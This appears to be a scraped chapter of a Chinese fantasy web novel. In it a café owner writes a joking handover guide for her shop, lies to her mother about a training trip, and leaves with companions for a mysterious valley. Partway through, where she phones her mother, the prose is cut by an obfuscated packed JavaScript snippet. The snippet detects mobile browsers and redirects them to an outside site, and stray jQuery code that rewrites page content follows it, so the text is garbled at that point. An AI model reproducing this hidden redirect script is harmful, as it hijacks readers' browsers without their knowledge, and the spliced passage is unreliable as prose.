凌晨三点二十分,一行人回到“不予时光”咖啡馆。
店内的灯光亮起,熟悉的咖啡香还残留在空气中。苏不予站在柜台后,手指拂过擦拭得锃亮的咖啡机,忽然觉得这个场景有些不真实。
——“十二小时前,我还在为一场尴尬的相亲做准备。十二小时后,我在考虑怎么安排‘后事’,因为可能要跟天庭派来的清理部队干架。这人生转折,比意式咖啡的萃取曲线还陡峭。”
玄绮已经恢复了服务员的状态,正在烧水泡茶——不是给客人,而是给这群筋疲力尽的“冒险者”。李叔瘫在卡座里,闭目调息。织布娘和钓鱼佬坐在窗边,低声交谈。阙尘翻看着手机,似乎在查落星谷的资料。宋琬和刘禹在角落里,一个打电话安排工作掩护,一个正对着手表屏幕输入什么。
苏不予深吸一口气,打开收银台下的抽屉,拿出一个厚厚的笔记本。
这是她的“咖啡馆圣经”,里面记录了从开店到现在所有的配方、供应商联系方式、熟客的偏好,甚至还有天气对客流影响的统计。
她翻到空白页,开始写。
《不予时光咖啡馆临时托管指南(老板娘可能长期出差版)》
——“如果这真是遗书,那大概是最不正经的遗书了。开头应该写‘亲爱的下一任老板,首先恭喜你接手这家店,其次对不起,前任老板可能因为时间犯罪被天庭通缉了……’”
笔尖停顿,她摇摇头,继续写下去。
一、日常运营
1.营业时间:早8点-晚10点,周二店休(除非节假日)。
2.招牌豆子:埃塞俄比亚耶加雪菲,巴西喜拉多拼配,自烘“日落大道”中深烘。
3.供应商联系人:老王豆业(电话138XXXX),张姐奶品(微信Zhang_Jie),小陈甜品……
4.熟客备注:靠窗第二桌陈爷爷只喝美式不加糖;刘阿姨每周三来,点卡布奇诺多奶泡;高中那群孩子喜欢榛果拿铁……
她写得很细,细到连清洁阿姨每周几来、后院那几盆薄荷什么时候浇水都记下了。
写到一半,她抬起头:“玄绮,如果我回不来,店就转给你吧。手续我都准备好了,在二楼保险箱里。密码是豆沙的生日。”
玄绮的手一颤,茶杯差点掉在地上。“别说这种话。你会回来的。”
“总要做好准备。”苏不予笑了笑,继续写,“还有,豆沙的猫粮要买金色包装那款,它只吃那个牌子。罐头每周二、四、六开,不能多,不然它会挑食。”
——“我居然在写猫的喂食指南,而几个小时后可能要面对上古神系的追杀。这反差,可以拍成荒诞喜剧了。”
二、财务与账目
1.每月15号交房租,账号是……
2.员工工资每月5号发,玄绮的工资要单独多给20%,因为她还得帮我镇店。
3.水电费账户自动扣款,但记得检查……
4.季度税申报时间……
写到财务部分时,刘禹走过来,看了一眼笔记本:“需要我帮忙做一份合法的授权文件吗?以防万一。”
苏不予抬头看他:“你会?”
“时序监察局的基本技能之一,就是为各种‘异常情况’准备合规的法律文件。”刘禹推了推眼镜,“我可以做一份‘长期进修委托经营协议’,让你父母和相关部门都挑不出毛病。”
“那就麻烦了。”苏不予没有拒绝,“协议期限……写一年吧。一年后如果我没回来,就自动转为产权转让。”
刘禹点点头,坐到另一张桌子前,打开随身携带的平板电脑开始操作。
苏不予继续写她的指南。
三、特殊注意事项
1.后院槐树下埋着一个铁盒,里面有些老东西,如果李叔来问,可以给他看。
2.二楼储藏室东墙第三块砖是松的,后面有空间,放了些……不太好解释的东西,别让普通人发现。
3.如果镇上出现“时间错乱”现象(比如有人重复过同一天,或者东西突然变旧/变新),立即联系李叔或宋警官。
4.最重要的:无论听到什么关于我的传闻,都告诉我爸妈,我只是去外地进修咖啡技术了,一切安好。
写完最后一条,她放下笔,揉了揉发酸的手腕。
笔记本已经写了十几页。
她把笔记本推到玄绮面前:“这个给你。如果……就按这个来。”
玄绮接过笔记本,手指紧紧捏着纸页,指节发白。“我会等你回来,亲手把店还给你。”
苏不予笑了:“那就说定了。”
凌晨四点,众人短暂休息后重新聚集。
阙尘已经查好了路线:“落星谷在镇西三十里,开车只能到谷口,之后要徒步。根据卫星地图和县志记载,谷内地形复杂,有溶洞群,磁场异常,电子设备可能失灵。”
李叔补充道:“落星谷的名字有来历。光绪年间县志记载,‘有星坠于谷中,其光三日不灭,后有樵夫入谷,言见异象,出后痴傻’。民国时期也有几起失踪案,都是进了谷就没出来。”
“听起来不是什么友好的地方。”钓鱼佬嘟囔,“比八号桥还邪门。”
“毕竟是凝渊大人另一半身体的存放地。”织布娘轻声说,“天庭选择那里,肯定是因为隐蔽,且有天然屏障。”
宋琬已经安排好了工作掩护:“我以‘调查八号桥古迹保护情况’为由申请了三天外勤,会跟你们一起进谷。刘禹呢?”
刘禹合上平板:“我上报了‘发现疑似时间异常点,需要深入调查’,总局批复同意,但要求每日一报。我会按时发送定位和简讯——当然,会做适当处理。”
“怎么处理?”苏不予好奇。
“按时发送假坐标和编造的调查进展。”刘禹面不改色,“监察局的技术手段能识别大部分伪造,但我有我的方法。三天是极限,三天后如果我不返回述职,总局就会派人来查。”
三天。
苏不予算了下时间:今天算第一天,进谷找到地方大概要半天,找到后不知道要花多久接受传承,然后还要返程。时间很紧。
“我们需要什么装备?”她问。
阙尘列出清单:“照明设备(要多备电池)、绳索、登山工具、防潮防寒衣物、干粮和水、急救包。另外,鉴于那里可能有天庭遗留的防护措施,最好带些破阵的法器。”
李叔从随身的布袋里掏出几样东西:“我这有‘破煞符’十二张,‘清明香’三柱,还有一面‘照妖镜’——虽然是老物件,但对付一些低级防护阵法有用。”
钓鱼佬拍拍他的鱼竿:“老夫这根‘镇渊竿’能探路,能当武器,必要时还能当登山杖。”
织布娘取出那卷修补过的布匹:“我的‘记忆之梭’可以标记路线,防止迷路。”
玄绮没说话,只是摸了摸手上的银色婚戒——虽然裂了,但仍有微光。
苏不予想了想,转身上楼。
几分钟后,她背着一个登山包下来,手里还拿着一个……保温杯。
“包里是基础装备,我以前徒步用的。”她晃了晃保温杯,“这个装了特浓咖啡,提神用。毕竟,接下来可能要熬夜。”
——“和上古传承、天庭追兵相比,熬夜算什么。但我还是要说,没有咖啡的工作日是不完整的,哪怕是拯救世界的工作日。”
众人看着她手里的保温杯,一时无言。
最后还是阙尘打破沉默:“行,都准备一下,天一亮就出发。争取上午到谷口,下午进谷寻找山洞。”
“天亮就出发?”苏不予看了眼窗外,夜色还深,“不睡一会儿?”
“你睡得着?”玄绮反问。
苏不予想了想,诚实摇头。
“那就趁现在,做最后一件事。”玄绮说,“给你父母打电话。”
凌晨四点半,苏不予握着手机,在后院槐树下徘徊。
这个时间打电话太奇怪了,但她没有选择。天亮就要出发,可能三天联系不上,必须有个合理的解释。
她拨通了母亲的号码。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011391|188695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>铃声响了很久才被接起,传来母亲迷迷糊糊的声音:“不予?怎么这个时间打电话?出什么事了?”
“没事,妈。”苏不予尽量让声音听起来轻松,“就是……我接到一个机会,要去外地参加一个高级咖啡师进修班,为期三天。今天一早就走,怕到时候忙起来忘了跟你说。”
“进修班?这么突然?”
“嗯,名额很抢手,临时有人退出了,我就补上了。”她编着谎话,“在邻省,可能信号不太好,这几天可能联系不上,你别担心。”
电话那头沉默了几秒。
“不予啊,”母亲的声音清醒了些,“你是不是……遇到什么事了?跟妈说实话。”
苏不予心里一紧:“真没事,就是去学习。”
“刘阿姨今天下午还问我,你跟小禹聊得怎么样。我说不知道,你还没跟我说。”母亲顿了顿,“小禹那孩子我看着不错,你要是……”
“妈,我现在真的不想谈这个。”苏不予打断,“等我进修回来再说,好吗?”
——“刘禹这小子,你确定他不错?他靠近我的动机都不纯……”
又是一阵沉默。
“……好。那你注意安全,到了给妈发个消息。”
“知道了。帮我跟爸也说一声。”
挂断电话,苏不予靠在槐树上,长长吐出一口气。
撒谎的感觉很糟,尤其是对最亲的人撒谎。但她别无选择。
——“如果以后有机会,一定要跟爸妈道歉。然后告诉他们,女儿没去学咖啡,是去继承了时间牢笼,还准备跟天庭对抗。希望他们听了之后不会吓晕过去。”
玄绮走过来,递给她一杯温水:“说完了?”
“嗯。”苏不予接过水,“你那边呢?店里突然关门三天,怎么跟街坊解释?”
“已经想好了。”玄绮说,“就说老板娘带全体员工去省城考察新设备,顺便团建。李叔他们会帮忙照看。”
苏不予点点头,仰头把水喝完。
天色开始泛白。凌晨五点,东方的天际线透出鱼肚白。
咖啡馆里,所有人都准备好了。背包、装备、武器,还有各种法器。
苏不予最后检查了一遍背包:指南针、手电、绳索、干粮、水、急救包、笔记本(她又塞了一本空白的小本子,万一有什么灵感可以记下来)、笔、还有那个保温杯。
她穿上登山鞋,系紧鞋带,站起身。
“都准备好了吗?”
众人点头。
她看向窗外,小镇还在沉睡中。路灯即将熄灭,早起的环卫工人开始清扫街道,远处传来第一班公交车的引擎声。
这是她生活了二十多年的地方,平凡、宁静、有时候无聊,但充满烟火气。
而现在,她要离开这里,去一个可能再也回不来的地方。
为了保住这个地方。
“走吧。”她说。
推开咖啡馆的门,晨风带着凉意吹进来。
一行人悄无声息地走进黎明前的夜色中。
他们没有注意到,街对面的二楼窗户后,一双眼睛正注视着他们。
那是一双苍老的眼睛,眼中有复杂的神色。
窗户后的人影轻轻叹息,拉上了窗帘。
而在小镇另一端的旅馆房间里,一个穿着黑色风衣的男人站在窗边,手里握着一枚暗红色的符牌。
符牌正在微微发烫。
他对着符牌低声说:“目标已移动,方向镇西。疑似前往落星谷。”
符牌中传来回应,声音嘶哑:“跟上。等他们找到东西后……再出手。”
“明白。”
男人收起符牌,背上一个长条形的背包,也悄无声息地离开了旅馆。
三方势力,几乎同时朝着同一个方向前进。
落星谷的晨雾,正在渐渐升起。
而谷中深处,那三棵枯死的柏树后面,山洞里的那具枯萎身躯,似乎感应到了什么。
三千年来第一次,那具身躯的手指,微微动了一下。